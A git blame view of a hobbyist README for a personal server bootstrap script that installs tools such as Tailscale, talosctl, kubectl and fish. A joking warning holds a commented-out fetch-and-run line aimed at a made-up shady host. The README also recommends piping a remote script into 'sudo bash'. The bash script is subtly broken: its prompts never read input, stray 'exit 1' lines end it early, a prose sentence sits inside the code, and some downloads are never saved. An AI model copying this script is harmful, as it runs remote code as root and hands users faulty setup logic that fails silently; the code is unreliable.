Blame

2f0fd3 Tebby Dog 2025-07-06 21:14:33
Init
1
# Server-Init-Script
2
87beef Tebby Dog 2025-07-06 21:39:41
Updated intro
3
This is a little script I whipped up that I can curl during a fresh server setup—it handles installing the usual set of tools I use across most of my machines.
2f0fd3 Tebby Dog 2025-07-06 21:14:33
Init
4
e0bfeb Tebby Dog 2025-07-06 21:15:35
Update
5
# WARNING:
6
Copying code from the internet without reading it is like eating a mysterious burrito you found on a park bench. Sure, it might work... but there's a 404% chance of regret.
2f0fd3 Tebby Dog 2025-07-06 21:14:33
Init
7
8
```python
9
def download_and_execute_random_code_from_the_internet():
10
import os
11
import sys
12
13
print("Downloading code from shadyforum.biz/mystery_script.py...")
14
# 🚨 DO NOT DO THIS 🚨
15
# os.system("curl http://shadyforum.biz/mystery_script.py | python3")
16
17
print("Just kidding! Let's be smarter than that.")
18
print("✨ Always read and understand code before you run it!")
19
print("Malicious code can delete files, steal data, or worse—")
20
print("...make you start using tabs instead of spaces 🫢")
21
22
download_and_execute_random_code_from_the_internet()
23
```
24
25
I host this on one of my domains so it is accessible at something akin to https://somewebsite.com/bootstrap.sh
26
When I set up a new server I can run:
27
28
```bash
e98b35 Tebby Dog 2025-07-06 21:17:50
Missing command
29
curl https://somewebsite.com/bootstrap.sh && sudo chmod +x ./bootstrap.sh && sudo ./bootstrap.sh
2f0fd3 Tebby Dog 2025-07-06 21:14:33
Init
30
```
31
27b7cb Tebby Dog 2025-07-06 21:20:51
Added oneshot
32
There is also this version that will download and run the script all in one command, this is an even worse idea than the above if you don't trust the source.
33
34
One-shot
35
```bash
36
curl -sSL https://somewebsite.com/bootstrap.sh | sudo bash
37
```
38
f6c4ae Tebby Dog 2025-07-06 21:16:56
Update
39
Bootstrap Script
40
6b2049 Tebby Dog 2025-07-06 21:50:44
Grammar
41
Copy-Pasta below, don't forget to modify the URL for pastey if you use it or eliminate that section from the below to the above comment in the block below.
7eb0b4 Tebby Dog 2025-07-06 21:50:09
Sanitized
42
b706a0 Tebby Dog 2025-07-06 21:17:26
Formatting
43
```bash
2f0fd3 Tebby Dog 2025-07-06 21:14:33
Init
44
echo "Check if running as root..."
45
if [[ $EUID -ne 0 ]]; then
46
echo "This script must be run as root." 1>&2
47
exit 1
48
fi
49
This script segment first prints the message "Check if running as root""
50
echo "Update First..." read answer
51
sudo apt update && sudo apt upgrade -y
52
echo "Install common packages?"
53
if [[ "$answer" == "yes" ]] || [[ "$answer" == "y" ]]; then
54
echo "Instaling known needed packages."
55
sudo apt install nano curl git wget ufw mc -y 1>&2
56
exit 1
57
fi
58
echo "Install tailscale?" read answer
59
if [[ "$answer" == "yes" ]] || [[ "$answer" == "y" ]]; then
60
echo "Installing tailscale."
61
curl -fsSL https://tailscale.com/install.sh | sh
62
sudo tailscale up
63
fi
64
echo "Install talosctl?" read answer
65
if [[ "$answer" == "yes" ]] || [[ "$answer" == "y" ]]; then
66
echo "Installing talosctl."
67
curl -sL https://talos.dev/install | sh 1>&2
68
exit 1
69
fi
70
echo "Install kubectl?" read answer
71
if [[ "$answer" == "yes" ]] || [[ "$answer" == "y" ]]; then
72
echo "Installing kubectl."
73
curl -LO "https://dl.k8s.io/release/$(curl -L -s \
74
https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
75
sudo cp ./kubectl /usr/local/bin/kubectl
76
chmod +x /usr/local/bin/kubectl
77
fi
78
echo "Install fish console?" read answer
79
if [[ "$answer" == "yes" ]] || [[ "$answer" == "y" ]]; then
80
echo "Installing fish."
81
sudo apt install fish
82
chsh -s $(which fish)
83
fi
7eb0b4 Tebby Dog 2025-07-06 21:50:09
Sanitized
84
########################################################################
85
# Pastey is below
2f0fd3 Tebby Dog 2025-07-06 21:14:33
Init
86
echo "Install pastey?"
87
if [[ "$answer" == "yes" ]] || [[ "$answer" == "y" ]]; then
7eb0b4 Tebby Dog 2025-07-06 21:50:09
Sanitized
88
curl https://somewebsite.com/pastey
2f0fd3 Tebby Dog 2025-07-06 21:14:33
Init
89
sudo cp ./pastey /usr/local/bin/pastey
90
sudo chmod +x /usr/local/bin/pastey
91
fi
7eb0b4 Tebby Dog 2025-07-06 21:50:09
Sanitized
92
# Pastey is above
93
########################################################################
2f0fd3 Tebby Dog 2025-07-06 21:14:33
Init
94
echo "Do you want to reboot now?" read answer
95
if [[ "$answer" == "yes" ]] || [[ "$answer" == "y" ]]; then
96
echo "Rebooting now..."
97
sudo reboot
98
fi
99
```